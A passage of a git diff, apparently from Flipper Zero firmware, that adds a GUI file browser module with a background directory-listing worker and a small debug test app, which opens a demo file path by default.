a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h new file mode 100644 index 000000000..6597df3aa --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h @@ -0,0 +1,3 @@ +ADD_SCENE(file_browser, start, Start) +ADD_SCENE(file_browser, browser, Browser) +ADD_SCENE(file_browser, result, Result) diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c new file mode 100644 index 000000000..53576cef4 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c @@ -0,0 +1,36 @@ +#include "../file_browser_app_i.h" +#include "furi_hal.h" +#include "m-string.h" + +void file_browser_scene_result_ok_callback(InputType type, void* context) { + furi_assert(context); + FileBrowserApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, type); +} + +bool file_browser_scene_result_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + //FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +void file_browser_scene_result_on_enter(void* context) { + FileBrowserApp* app = context; + + widget_add_string_multiline_element( + app->widget, 64, 10, AlignCenter, AlignTop, FontSecondary, string_get_cstr(app->file_path)); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewResult); +} + +void file_browser_scene_result_on_exit(void* context) { + UNUSED(context); + FileBrowserApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c new file mode 100644 index 000000000..bb71e83df --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c @@ -0,0 +1,44 @@ +#include "../file_browser_app_i.h" +#include "furi_hal.h" +#include "gui/modules/widget_elements/widget_element_i.h" + +static void + file_browser_scene_start_ok_callback(GuiButtonType result, InputType type, void* context) { + UNUSED(result); + furi_assert(context); + FileBrowserApp* app = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(app->view_dispatcher, type); + } +} + +bool file_browser_scene_start_on_event(void* context, SceneManagerEvent event) { + FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + string_set_str(app->file_path, "/any/badusb/demo_windows.txt"); + scene_manager_next_scene(app->scene_manager, FileBrowserSceneBrowser); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +void file_browser_scene_start_on_enter(void* context) { + FileBrowserApp* app = context; + + widget_add_string_multiline_element( + app->widget, 64, 20, AlignCenter, AlignTop, FontSecondary, "Press OK to start"); + + widget_add_button_element( + app->widget, GuiButtonTypeCenter, "Ok", file_browser_scene_start_ok_callback, app); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewStart); +} + +void file_browser_scene_start_on_exit(void* context) { + UNUSED(context); + FileBrowserApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c new file mode 100644 index 000000000..919750962 --- /dev/null +++ b/applications/gui/modules/file_browser.c @@ -0,0 +1,532 @@ +#include "file_browser.h" +#include "assets_icons.h" +#include "cmsis_os2.h" +#include "file_browser_worker.h" +#include "furi/check.h" +#include "furi/common_defines.h" +#include "furi/log.h" +#include "furi_hal_resources.h" +#include "m-string.h" +#include +#include +#include + +#define LIST_ITEMS 5u +#define MAX_LEN_PX 110 +#define FRAME_HEIGHT 12 +#define Y_OFFSET 3 + +#define ITEM_LIST_LEN_MAX 100 + +typedef enum { + BrowserItemTypeLoading, + BrowserItemTypeBack, + BrowserItemTypeFolder, + BrowserItemTypeFile, +} BrowserItemType; + +typedef struct { + string_t path; + BrowserItemType type; +} BrowserItem_t; + +static void BrowserItem_t_init(BrowserItem_t* obj) { + obj->type = BrowserItemTypeLoading; + string_init(obj->path); +} + +static void BrowserItem_t_init_set(BrowserItem_t* obj, const BrowserItem_t* src) { + obj->type = src->type; + string_init_set(obj->path, src->path); +} + +static void BrowserItem_t_set(BrowserItem_t* obj, const BrowserItem_t* src) { + obj->type = src->type; + string_set(obj->path, src->path); +} + +static void BrowserItem_t_clear(BrowserItem_t* obj) { + string_clear(obj->path); +} + +ARRAY_DEF( + items_array, + BrowserItem_t, + (INIT(API_2(BrowserItem_t_init)), + SET(API_6(BrowserItem_t_set)), + INIT_SET(API_6(BrowserItem_t_init_set)), + CLEAR(API_2(BrowserItem_t_clear)))) + +struct FileBrowser { + View* view; + BrowserWorker* worker; + char* ext_filter; + bool skip_assets; + + FileBrowserCallback callback; + void* context; + + string_t* result_path; +}; + +typedef struct { + items_array_t items; + + bool is_root; + bool folder_loading; + bool list_loading; + uint32_t item_cnt; + int32_t item_idx; + int32_t array_offset; + int32_t list_offset; + + const Icon* file_icon; + bool hide_ext; +} FileBrowserModel; + +static const Icon* BrowserItemIcons[] = { + [BrowserItemTypeLoading] = &I_loading_10px, + [BrowserItemTypeBack] = &I_back_10px, + [BrowserItemTypeFolder] = &I_dir_10px, + [BrowserItemTypeFile] = &I_unknown_10px, +}; + +static void file_browser_view_draw_callback(Canvas* canvas, void* _model); +static bool file_browser_view_input_callback(InputEvent* event, void* context); + +static void + browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root); +static void browser_list_load_cb(void* context, uint32_t list_load_offset); +static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); +static void browser_long_load_cb(void* context); + +FileBrowser* file_browser_alloc(string_t* result_path) { + furi_assert(result_path); + FileBrowser* browser = malloc(sizeof(FileBrowser)); + browser->view = view_alloc(); + view_allocate_model(browser->view, ViewModelTypeLocking, sizeof(FileBrowserModel)); + view_set_context(browser->view, browser); + view_set_draw_callback(browser->view, file_browser_view_draw_callback); + view_set_input_callback(browser->view, file_browser_view_input_callback); + + browser->result_path = result_path; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_init(model->items); + return false; + }); + + return browser; +} + +void file_browser_free(FileBrowser* browser) { + furi_assert(browser); + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_clear(model->items); + return false; + }); + + view_free(browser->view); + free(browser); +} + +View* file_browser_get_view(FileBrowser* browser) { + furi_assert(browser); + return browser->view; +} + +void file_browser_configure( + FileBrowser* browser, + char* extension, + bool skip_assets, + const Icon* file_icon, + bool hide_ext) { + furi_assert(browser); + + browser->ext_filter = extension; + browser->skip_assets = skip_assets; + + with_view_model( + browser->view, (FileBrowserModel * model) { + model->file_icon = file_icon; + model->hide_ext = hide_ext; + return false; + }); +} + +void file_browser_start(FileBrowser* browser, string_t path) { + furi_assert(browser); + browser->worker = file_browser_worker_alloc(path, browser->ext_filter, browser->skip_assets); + file_browser_worker_set_callback_context(browser->worker, browser); + file_browser_worker_set_folder_callback(browser->worker, browser_folder_open_cb); + file_browser_worker_set_list_callback(browser->worker, browser_list_load_cb); + file_browser_worker_set_item_callback(browser->worker, browser_list_item_cb); + file_browser_worker_set_long_load_callback(browser->worker, browser_long_load_cb); +} + +void file_browser_stop(FileBrowser* browser) { + furi_assert(browser); + file_browser_worker_free(browser->worker); + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); + model->item_cnt = 0; + model->item_idx = 0; + model->array_offset = 0; + model->list_offset = 0; + return false; + }); +} + +void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context) { + browser->context = context; + browser->callback = callback; +} + +static bool browser_is_item_in_array(FileBrowserModel* model, uint32_t idx) { + size_t array_size = items_array_size(model->items); + + if((idx >= (uint32_t)model->array_offset + array_size) || + (idx < (uint32_t)model->array_offset)) { + return false; + } + return true; +} + +static bool browser_is_list_load_required(FileBrowserModel* model) { + size_t array_size = items_array_size(model->items); + uint32_t item_cnt = (model->is_root) ? model->item_cnt : model->item_cnt - 1; + + if((model->list_loading) || (array_size >= item_cnt)) { + return false; + } + + if((model->array_offset > 0) && + (model->item_idx < (model->array_offset + ITEM_LIST_LEN_MAX / 4))) { + return true; + } + + if(((model->array_offset + array_size) < item_cnt) && + (model->item_idx > (int32_t)(model->array_offset + array_size - ITEM_LIST_LEN_MAX / 4))) { + return true; + } + + return false; +} + +static void browser_update_offset(FileBrowser* browser) { + furi_assert(browser); + + with_view_model( + browser->view, (FileBrowserModel * model) { + uint16_t bounds = model->item_cnt > (LIST_ITEMS - 1) ? 2 : model->item_cnt; + + if((model->item_cnt > (LIST_ITEMS - 1)) && + (model->item_idx >= ((int32_t)model->item_cnt - 1))) { + model->list_offset = model->item_idx - (LIST_ITEMS - 1); + } else if(model->list_offset < model->item_idx - bounds) { + model->list_offset = CLAMP( + model->item_idx - (int32_t)(LIST_ITEMS - 2), + (int32_t)model->item_cnt - bounds, + 0); + } else if(model->list_offset > model->item_idx - bounds) { + model->list_offset = + CLAMP(model->item_idx - 1, (int32_t)model->item_cnt - bounds, 0); + } + + return false; + }); +} + +static void + browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + int32_t load_offset = 0; + + with_view_model( + browser->view, (FileBrowserModel * model) { + if(is_root) { + model->item_cnt = item_cnt; + model->item_idx = (file_idx > 0) ? file_idx : 0; + load_offset = + CLAMP(model->item_idx - ITEM_LIST_LEN_MAX / 2, (int32_t)model->item_cnt, 0); + } else { + model->item_cnt = item_cnt + 1; + model->item_idx = file_idx + 1; + load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 2 - 1, (int32_t)model->item_cnt - 1, 0); + } + model->array_offset = 0; + model->list_offset = 0; + model->is_root = is_root; + model->list_loading = true; + model->folder_loading = false; + return true; + }); + browser_update_offset(browser); + + file_browser_worker_load(browser->worker, load_offset, ITEM_LIST_LEN_MAX); +} + +static void browser_list_load_cb(void* context, uint32_t list_load_offset) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + BrowserItem_t back_item; + BrowserItem_t_init(&back_item); + back_item.type = BrowserItemTypeBack; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); + model->array_offset = list_load_offset; + if(!model->is_root) { + if(list_load_offset == 0) { + items_array_push_back(model->items, back_item); + } else { + model->array_offset += 1; + } + } + return false; + }); + + BrowserItem_t_clear(&back_item); +} + +static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + BrowserItem_t item; + + if(!is_last) { + BrowserItem_t_init(&item); + string_set(item.path, item_path); + item.type = (is_folder) ? BrowserItemTypeFolder : BrowserItemTypeFile; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_push_back(model->items, item); + return false; + }); + BrowserItem_t_clear(&item); + } else { + with_view_model( + browser->view, (FileBrowserModel * model) { + model->list_loading = false; + return true; + }); + } +} + +static void browser_long_load_cb(void* context) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + with_view_model( + browser->view, (FileBrowserModel * model) { + model->folder_loading = true; + return true; + }); +} + +static void browser_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box( + canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT, (scrollbar ? 122 : 127), FRAME_HEIGHT); + + canvas_set_color(canvas, ColorWhite); + canvas_draw_dot(canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot(canvas, 1, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + 1); + + canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); + canvas_draw_dot(canvas, scrollbar ? 121 : 126, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot( + canvas, scrollbar ? 121 : 126, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); +} + +static void browser_draw_loading(Canvas* canvas, FileBrowserModel* model) { + uint8_t width = 49; + uint8_t height = 47; + uint8_t x = 128 / 2 - width / 2; + uint8_t y = 64 / 2 - height / 2; + + UNUSED(model); + + elements_bold_rounded_frame(canvas, x, y, width, height); + + canvas_set_font(canvas, FontSecondary); + elements_multiline_text(canvas, x + 7, y + 13, "Loading..."); + + canvas_draw_icon(canvas, x + 13, y + 19, &A_Loading_24); +} + +static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { + uint32_t array_size = items_array_size(model->items); + bool show_scrollbar = model->item_cnt > LIST_ITEMS; + + string_t filename; + string_init(filename); + + for(uint32_t i = 0; i < MIN(model->item_cnt, LIST_ITEMS); i++) { + int32_t idx = CLAMP((uint32_t)(i + model->list_offset), model->item_cnt, 0u); + + BrowserItemType item_type = BrowserItemTypeLoading; + + if(browser_is_item_in_array(model, idx)) { + BrowserItem_t* item = items_array_get( + model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); + item_type = item->type; + file_browser_worker_get_filename( + item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); + } else { + string_set_str(filename, "---"); + } + + if(item_type == BrowserItemTypeBack) { + string_set_str(filename, ". ."); + } + + elements_string_fit_width( + canvas, filename, (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX)); + + if(model->item_idx == idx) { + browser_draw_frame(canvas, i, show_scrollbar); + } else { + canvas_set_color(canvas, ColorBlack); + } + + if((item_type == BrowserItemTypeFile) && (model->file_icon)) { + canvas_draw_icon(canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, model->file_icon); + } else if(BrowserItemIcons[item_type] != NULL) { + canvas_draw_icon( + canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, BrowserItemIcons[item_type]); + } + canvas_draw_str(canvas, 15, Y_OFFSET + 9 + i * FRAME_HEIGHT, string_get_cstr(filename)); + } + + if(show_scrollbar) { + elements_scrollbar_pos( + canvas, + 126, + Y_OFFSET, + canvas_height(canvas) - Y_OFFSET, + model->item_idx, + model->item_cnt); + } + + string_clear(filename); +} + +static void file_browser_view_draw_callback(Canvas* canvas, void* _model) { + FileBrowserModel* model = _model; + + if(model->folder_loading) { + browser_draw_loading(canvas, model); + } else { + browser_draw_list(canvas, model); + } +} + +static bool file_browser_view_input_callback(InputEvent* event, void* context) { + FileBrowser* browser = context; + furi_assert(browser); + bool consumed = false; + bool is_loading = false; + + with_view_model( + browser->view, (FileBrowserModel * model) { + is_loading = model->folder_loading; + return false; + }); + + if(is_loading) { + return false; + } else if(event->key == InputKeyUp || event->key == InputKeyDown) { + if(event->type == InputTypeShort || event->type == InputTypeRepeat) { + with_view_model( + browser->view, (FileBrowserModel * model) { + if(event->key == InputKeyUp) { + model->item_idx = + ((model->item_idx - 1) + model->item_cnt) % model->item_cnt; + if(browser_is_list_load_required(model)) { + model->list_loading = true; + int32_t load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 4 * 3, + (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, + 0); + file_browser_worker_load( + browser->worker, load_offset, ITEM_LIST_LEN_MAX); + } + } else if(event->key == InputKeyDown) { + model->item_idx = (model->item_idx + 1) % model->item_cnt; + if(browser_is_list_load_required(model)) { + model->list_loading = true; + int32_t load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 4 * 1, + (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, + 0); + file_browser_worker_load( + browser->worker, load_offset, ITEM_LIST_LEN_MAX); + } + } + return true; + }); + browser_update_offset(browser); + consumed = true; + } + } else if(event->key == InputKeyOk) { + if(event->type == InputTypeShort) { + BrowserItem_t* selected_item = NULL; + int32_t select_index = 0; + with_view_model( + browser->view, (FileBrowserModel * model) { + if(browser_is_item_in_array(model, model->item_idx)) { + selected_item = + items_array_get(model->items, model->item_idx - model->array_offset); + select_index = model->item_idx; + if((!model->is_root) && (select_index > 0)) { + select_index -= 1; + } + } + return false; + }); + + if(selected_item) { + if(selected_item->type == BrowserItemTypeBack) { + file_browser_worker_folder_exit(browser->worker); + } else if(selected_item->type == BrowserItemTypeFolder) { + file_browser_worker_folder_enter( + browser->worker, selected_item->path, select_index); + } else if(selected_item->type == BrowserItemTypeFile) { + string_set(*(browser->result_path), selected_item->path); + if(browser->callback) { + browser->callback(browser->context, true); + } + } + } + consumed = true; + } + } else if(event->key == InputKeyLeft) { + if(event->type == InputTypeShort) { + bool is_root = false; + with_view_model( + browser->view, (FileBrowserModel * model) { + is_root = model->is_root; + return false; + }); + if(!is_root) { + file_browser_worker_folder_exit(browser->worker); + } + consumed = true; + } + } + + return consumed; +} diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h new file mode 100644 index 000000000..b77c6e65c --- /dev/null +++ b/applications/gui/modules/file_browser.h @@ -0,0 +1,39 @@ +/** + * @file file_browser.h + * GUI: FileBrowser view module API + */ + +#pragma once + +#include "m-string.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct FileBrowser FileBrowser; +typedef void (*FileBrowserCallback)(void* context, bool state); + +FileBrowser* file_browser_alloc(string_t* result_path); + +void file_browser_free(FileBrowser* browser); + +View* file_browser_get_view(FileBrowser* browser); + +void file_browser_configure( + FileBrowser* browser, + char* extension, + bool skip_assets, + const Icon* file_icon, + bool hide_ext); + +void file_browser_start(FileBrowser* browser, string_t path); + +void file_browser_stop(FileBrowser* browser); + +void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context); + +#ifdef __cplusplus +} +#endif diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c new file mode 100644 index 000000000..13fc97111 --- /dev/null +++ b/applications/gui/modules/file_browser_worker.c @@ -0,0 +1,420 @@ +#include "file_browser_worker.h" +#include "furi/check.h" +#include "furi/common_defines.h" +#include "m-string.h" +#include "storage/filesystem_api_defines.h" +#include +#include +#include +#include +#include + +#define TAG "BrowserWorker" + +#define ASSETS_DIR "assets" +#define BROWSER_ROOT "/any" +#define FILE_NAME_LEN_MAX 256 +#define LONG_LOAD_THRESHOLD 100 + +typedef enum { + WorkerEvtStop = (1 << 0), + WorkerEvtLoad = (1 << 1), + WorkerEvtFolderEnter = (1 << 2), + WorkerEvtFolderExit = (1 << 3), +} WorkerEvtFlags; + +#define WORKER_FLAGS_ALL \ + (WorkerEvtStop | WorkerEvtLoad | WorkerEvtFolderEnter | WorkerEvtFolderExit) + +ARRAY_DEF(idx_last_array, int32_t) + +struct BrowserWorker { + FuriThread* thread; + + string_t filter_extension; + string_t path_next; + int32_t item_sel_idx; + uint32_t load_offset; + uint32_t load_count; + bool skip_assets; + idx_last_array_t idx_last; + + void* cb_ctx; + BrowserWorkerFolderOpenCallback folder_cb; + BrowserWorkerListLoadCallback list_load_cb; + BrowserWorkerListItemCallback list_item_cb; + BrowserWorkerLongLoadCallback long_load_cb; +}; + +static bool browser_path_is_file(string_t path) { + bool state = false; + FileInfo file_info; + Storage* storage = furi_record_open("storage"); + if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { + if((file_info.flags & FSF_DIRECTORY) == 0) { + state = true; + } + } + furi_record_close("storage"); + return state; +} + +static bool browser_path_trim(string_t path) { + bool is_root = false; + size_t filename_start = string_search_rchar(path, '/'); + string_left(path, filename_start); + if((string_empty_p(path)) || (filename_start == STRING_FAILURE)) { + string_set_str(path, BROWSER_ROOT); + is_root = true; + } + return is_root; +} + +static bool browser_filter_by_name(BrowserWorker* browser, string_t name, bool is_folder) { + if(is_folder) { + // Skip assets folders (if enabled) + if(browser->skip_assets) { + return ((string_cmp_str(name, ASSETS_DIR) == 0) ? (false) : (true)); + } else { + return true; + } + } else { + // Filter files by extension + if((string_empty_p(browser->filter_extension)) || + (string_cmp_str(browser->filter_extension, "*") == 0)) { + return true; + } + if(string_end_with_string_p(name, browser->filter_extension)) { + return true; + } + } + return false; +} + +static bool browser_folder_check_and_switch(string_t path) { + FileInfo file_info; + Storage* storage = furi_record_open("storage"); + bool is_root = false; + while(1) { + // Check if folder is existing and navigate back if not + if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { + if(file_info.flags & FSF_DIRECTORY) { + break; + } + } + if(is_root) { + break; + } + is_root = browser_path_trim(path); + } + furi_record_close("storage"); + return is_root; +} + +static bool browser_folder_init( + BrowserWorker* browser, + string_t path, + string_t filename, + uint32_t* item_cnt, + int32_t* file_idx) { + bool state = false; + FileInfo file_info; + uint32_t total_files_cnt = 0; + + Storage* storage = furi_record_open("storage"); + File* directory = storage_file_alloc(storage); + + char name_temp[FILE_NAME_LEN_MAX]; + string_t name_str; + string_init(name_str); + + *item_cnt = 0; + *file_idx = -1; + + if(storage_dir_open(directory, string_get_cstr(path))) { + state = true; + while(1) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if((storage_file_get_error(directory) == FSE_OK) && (name_temp[0] != '\0')) { + total_files_cnt++; + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + if(!string_empty_p(filename)) { + if(string_cmp(name_str, filename) == 0) { + *file_idx = *item_cnt; + } + } + (*item_cnt)++; + } + if(total_files_cnt == LONG_LOAD_THRESHOLD) { + if(browser->long_load_cb) { + browser->long_load_cb(browser->cb_ctx); + } + } + } + } + } + + string_clear(name_str); + + storage_dir_close(directory); + storage_file_free(directory); + + furi_record_close("storage"); + + return state; +} + +static bool + browser_folder_load(BrowserWorker* browser, string_t path, uint32_t offset, uint32_t count) { + FileInfo file_info; + + Storage* storage = furi_record_open("storage"); + File* directory = storage_file_alloc(storage); + + char name_temp[FILE_NAME_LEN_MAX]; + string_t name_str; + string_init(name_str); + + uint32_t items_cnt = 0; + + do { + if(!storage_dir_open(directory, string_get_cstr(path))) { + break; + } + + items_cnt = 0; + while(items_cnt < offset) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if(storage_file_get_error(directory) == FSE_OK) { + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + items_cnt++; + } + } else { + break; + } + } + if(items_cnt != offset) { + break; + } + + if(browser->list_load_cb) { + browser->list_load_cb(browser->cb_ctx, offset); + } + + items_cnt = 0; + while(items_cnt < count) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if(storage_file_get_error(directory) == FSE_OK) { + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + string_printf(name_str, "%s/%s", string_get_cstr(path), name_temp); + if(browser->list_item_cb) { + browser->list_item_cb( + browser->cb_ctx, name_str, (file_info.flags & FSF_DIRECTORY), false); + } + items_cnt++; + } + } else { + break; + } + } + if(browser->list_item_cb) { + browser->list_item_cb(browser->cb_ctx, NULL, false, true); + } + } while(0); + + string_clear(name_str); + + storage_dir_close(directory); + storage_file_free(directory); + + furi_record_close("storage"); + + return (items_cnt == count); +} + +static int32_t browser_worker(void* context) { + BrowserWorker* browser = (BrowserWorker*)context; + furi_assert(browser); + FURI_LOG_D(TAG, "Start"); + + uint32_t items_cnt = 0; + string_t path; + string_init_set_str(path, BROWSER_ROOT); + browser->item_sel_idx = -1; + + // If start path is a path to the file - try finding index of this file in a folder + string_t filename; + string_init(filename); + if(browser_path_is_file(browser->path_next)) { + file_browser_worker_get_filename(browser->path_next, filename, false); + } + + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); + + while(1) { + uint32_t flags = osThreadFlagsWait(WORKER_FLAGS_ALL, osFlagsWaitAny, osWaitForever); + furi_assert((flags & osFlagsError) == 0); + + if(flags & WorkerEvtFolderEnter) { + string_set(path, browser->path_next); + bool is_root = browser_folder_check_and_switch(path); + + // Push previous selected item index to history array + idx_last_array_push_back(browser->idx_last, browser->item_sel_idx); + + int32_t file_idx = 0; + browser_folder_init(browser, path, filename, &items_cnt, &file_idx); + FURI_LOG_D( + TAG, + "Enter folder: %s items: %u idx: %d", + string_get_cstr(path), + items_cnt, + file_idx); + if(browser->folder_cb) { + browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); + } + string_reset(filename); + } + + if(flags & WorkerEvtFolderExit) { + browser_path_trim(path); + bool is_root = browser_folder_check_and_switch(path); + + int32_t file_idx = 0; + browser_folder_init(browser, path, filename, &items_cnt, &file_idx); + if(idx_last_array_size(browser->idx_last) > 0) { + // Pop previous selected item index from history array + idx_last_array_pop_back(&file_idx, browser->idx_last); + } + FURI_LOG_D( + TAG, "Exit to: %s items: %u idx: %d", string_get_cstr(path), items_cnt, file_idx); + if(browser->folder_cb) { + browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); + } + } + + if(flags & WorkerEvtLoad) { + FURI_LOG_D(TAG, "Load offset: %u cnt: %u", browser->load_offset, browser->load_count); + browser_folder_load(browser, path, browser->load_offset, browser->load_count); + } + + if(flags & WorkerEvtStop) { + break; + } + } + + string_clear(filename); + string_clear(path); + + FURI_LOG_D(TAG, "End"); + return 0; +} + +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { + size_t filename_start = string_search_rchar(path, '/'); + if(filename_start > 0) { + filename_start++; + string_set_n(name, path, filename_start, string_size(path) - filename_start); + } + if(trim_ext) { + size_t dot = string_search_rchar(name, '.'); + if(dot > 0) { + string_left(name, dot); + } + } +} + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { + BrowserWorker* browser = malloc(sizeof(BrowserWorker)); + + idx_last_array_init(browser->idx_last); + + string_init_set_str(browser->filter_extension, filter_ext); + browser->skip_assets = skip_assets; + string_init_set(browser->path_next, path); + + browser->thread = furi_thread_alloc(); + furi_thread_set_name(browser->thread, "BrowserWorker"); + furi_thread_set_stack_size(browser->thread, 2048); + furi_thread_set_context(browser->thread, browser); + furi_thread_set_callback(browser->thread, browser_worker); + furi_thread_start(browser->thread); + + return browser; +} + +void file_browser_worker_free(BrowserWorker* browser) { + furi_assert(browser); + + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtStop); + furi_thread_join(browser->thread); + furi_thread_free(browser->thread); + + string_clear(browser->filter_extension); + string_clear(browser->path_next); + + idx_last_array_clear(browser->idx_last); + + free(browser); +} + +void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context) { + furi_assert(browser); + browser->cb_ctx = context; +} + +void file_browser_worker_set_folder_callback( + BrowserWorker* browser, + BrowserWorkerFolderOpenCallback cb) { + furi_assert(browser); + browser->folder_cb = cb; +} + +void file_browser_worker_set_list_callback( + BrowserWorker* browser, + BrowserWorkerListLoadCallback cb) { + furi_assert(browser); + browser->list_load_cb = cb; +} + +void file_browser_worker_set_item_callback( + BrowserWorker* browser, + BrowserWorkerListItemCallback cb) { + furi_assert(browser); + browser->list_item_cb = cb; +} + +void file_browser_worker_set_long_load_callback( + BrowserWorker* browser, + BrowserWorkerLongLoadCallback cb) { + furi_assert(browser); + browser->long_load_cb = cb; +} + +void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx) { + furi_assert(browser); + string_set(browser->path_next, path); + browser->item_sel_idx = item_idx; + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); +} + +void file_browser_worker_folder_exit(BrowserWorker* browser) { + furi_assert(browser); + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderExit); +} + +void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count) { + furi_assert(browser); + browser->load_offset = offset; + browser->load_count = count; + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtLoad); +} diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h new file mode 100644 index 000000000..821d5103f --- /dev/null +++ b/applications/gui/modules/file_browser_worker.h @@ -0,0 +1,57 @@ +#pragma once + +#include "m-string.h" +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct BrowserWorker BrowserWorker; +typedef void (*BrowserWorkerFolderOpenCallback)( + void* context, + uint32_t item_cnt, + int32_t file_idx, + bool is_root); +typedef void (*BrowserWorkerListLoadCallback)(void* context, uint32_t list_load_offset); +typedef void (*BrowserWorkerListItemCallback)( + void* context, + string_t item_path, + bool is_folder, + bool is_last); +typedef void (*BrowserWorkerLongLoadCallback)(void* context); + +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); + +void file_browser_worker_free(BrowserWorker* browser); + +void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context); + +void file_browser_worker_set_folder_callback( + BrowserWorker* browser, + BrowserWorkerFolderOpenCallback cb); + +void file_browser_worker_set_list_callback( + BrowserWorker* browser, + BrowserWorkerListLoadCallback cb); + +void file_browser_worker_set_item_callback( + BrowserWorker* browser, + BrowserWorkerListItemCallback cb); + +void file_browser_worker_set_long_load_callback( + BrowserWorker* browser, + BrowserWorkerLongLoadCallback cb); + +void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx); + +void file_browser_worker_folder_exit(BrowserWorker* browser); + +void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count); + +#ifdef __cplusplus +} +#endif From feb31c6607ec696d1eee76227e7737d9876171de Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:36:46 +0300 